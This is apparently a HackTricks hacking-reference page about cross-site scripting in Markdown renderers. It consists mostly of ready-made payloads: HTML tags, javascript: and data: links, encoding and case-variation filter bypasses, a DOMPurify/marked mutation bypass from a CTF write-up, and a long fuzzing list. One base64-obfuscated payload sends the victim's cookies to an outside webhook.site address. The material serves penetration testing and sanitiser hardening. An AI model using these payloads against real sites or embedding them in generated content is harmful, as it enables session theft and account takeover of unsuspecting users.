XSS in Markdown - HackTricks

# XSS in Markdown

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

If you have the chance to inject code in markdown, there are a few options you can use to trigger a XSS when the code gets interpreted.

### HTML tags

The most common way to get XSS in markdown is to inject common HTML tags that execute javascript, because several makdown interpreters will also accept HTML

    <!-- XSS with regular tags -->
    <script>
      alert(1)
    </script>
    <img src="x" onerror="alert(1)" />

You can find more examples in the main XSS page of hacktricks.

### Javascript links

If HTML tags aren't an option you could always try to play with markdown syntax:

    <!-- markdow link to XSS, this usually always work but it requires interaction -->
    [a](javascript:prompt(document.cookie))

    <!-- Other links attacks with some bypasses -->
    [Basic](javascript:alert('Basic')) [Local
    Storage](javascript:alert(JSON.stringify(localStorage)))
    [CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
    [URL](javascript://www.google.com%0Aalert('URL')) [In
    Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
    t:prompt(document.cookie))
    [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    [a](javascript:window.onerror=alert;throw%201)

### Img event syntax abuse

    ![Uh oh...](<"onerror="alert('XSS')>)
    ![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
    ![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
    ![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)

### HTML Sanitiser Markdown Bypass

The following code is sanitising HTML input and then passing it to the markdown parser, then, XSS can be triggered abusing miss-interpretations between Markdown and DOMPurify

    <!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
    <script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
    <script>
      const qs = new URLSearchParams(location.search)
      if (qs.get("content")?.length > 0) {
        document.body.innerHTML = marked.parse(
          DOMPurify.sanitize(qs.get("content"))
        )
      }
    </script>

Payloads example:

    <div
      id="1

    ![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
      -----------------------------------------------
      <a
        title="a

    <img src=x onerror=alert(1)>"
        >yep</a
      >
      ------------------------------------------------ [x](y '<style>
        ')<!--
      </style>
      <div id="x--><img src=1 onerror=alert(1)>"></div>
      ---------------------------------------------- [
      <p
        x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p>
      ) ---------------------------------------------- `
      <p x="`<img src=x onerror=alert(1)>"></p>
    </div>

### Fuzzing

    <!--
    Fuzzing examples from
    - https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
    - https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
    -->

    [a](javascript:prompt(document.cookie))
    [a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
    ![a](javascript:prompt(document.cookie))\
    <javascript:prompt(document.cookie)>
    <javascript:alert('XSS')>
      ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
    [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    [a](javascript:alert('XSS'))
    ![a'"`onerror=prompt(document.cookie)](x)\
    [citelol]: (javascript:prompt(document.cookie))
    [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
    [test](javascript://%0d%0aprompt(1))
    [test](javascript://%0d%0aprompt(1);com)
    [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
    [notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
    [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    [clickme](vbscript:alert(document.domain))
    _http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
    <http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
    [text](http://danlec.com " [@danlec](/danlec) ")
    [a](javascript:this;alert(1))
    [a](javascript:this;alert(1&#41;)
    [a](javascript&#58this;alert(1&#41;)
    [a](Javas&#99;ript:alert(1&#41;)
    [a](Javas%26%2399;ript:alert(1&#41;)
    [a](javascript:alert&#65534;(1&#41;)
    [a](javascript:confirm(1)
    [a](javascript://www.google.com%0Aprompt(1))
    [a](javascript://%0d%0aconfirm(1);com)
    [a](javascript:window.onerror=confirm;throw%201)
    [a](javascript:alert(document.domain&#41;)
    [a](javascript://www.google.com%0Aalert(1))
    [a]('javascript:alert("1")')
    [a](JaVaScRiPt:alert(1))
    ![a](https://www.google.com/image.png"onload="alert(1))
    ![a]("onerror="alert(1))
    </http://<?php\><\h1\><script:script>confirm(2)
    [XSS](.alert(1);)
    [ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
    [ ](http://a?p=[[/onclick=alert(0) .]])
    [a](javascript:new%20Function`al\ert\`1\``;)
    [XSS](javascript:prompt(document.cookie))
    [XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
    [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    [XSS](javascript:alert('XSS'))
    [XSS]: (javascript:prompt(document.cookie))
    [XSS](javascript:window.onerror=alert;throw%20document.cookie)
    [XSS](javascript://%0d%0aprompt(1))
    [XSS](javascript://%0d%0aprompt(1);com)
    [XSS](javascript:window.onerror=alert;throw%20document.cookie)
    [XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
    [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    [XSS](vbscript:alert(document.domain))
    [XSS](javascript:this;alert(1))
    [XSS](javascript:this;alert(1&#41;)
    [XSS](javascript&#58this;alert(1&#41;)
    [XSS](Javas&#99;ript:alert(1&#41;)
    [XSS](Javas%26%2399;ript:alert(1&#41;)
    [XSS](javascript:alert&#65534;(1&#41;)
    [XSS](javascript:confirm(1)
    [XSS](javascript://www.google.com%0Aprompt(1))
    [XSS](javascript://%0d%0aconfirm(1);com)
    [XSS](javascript:window.onerror=confirm;throw%201)
    [XSS](�javascript:alert(document.domain&#41;)
    ![XSS](javascript:prompt(document.cookie))\
    ![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
    ![XSS'"`onerror=prompt(document.cookie)](x)\

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.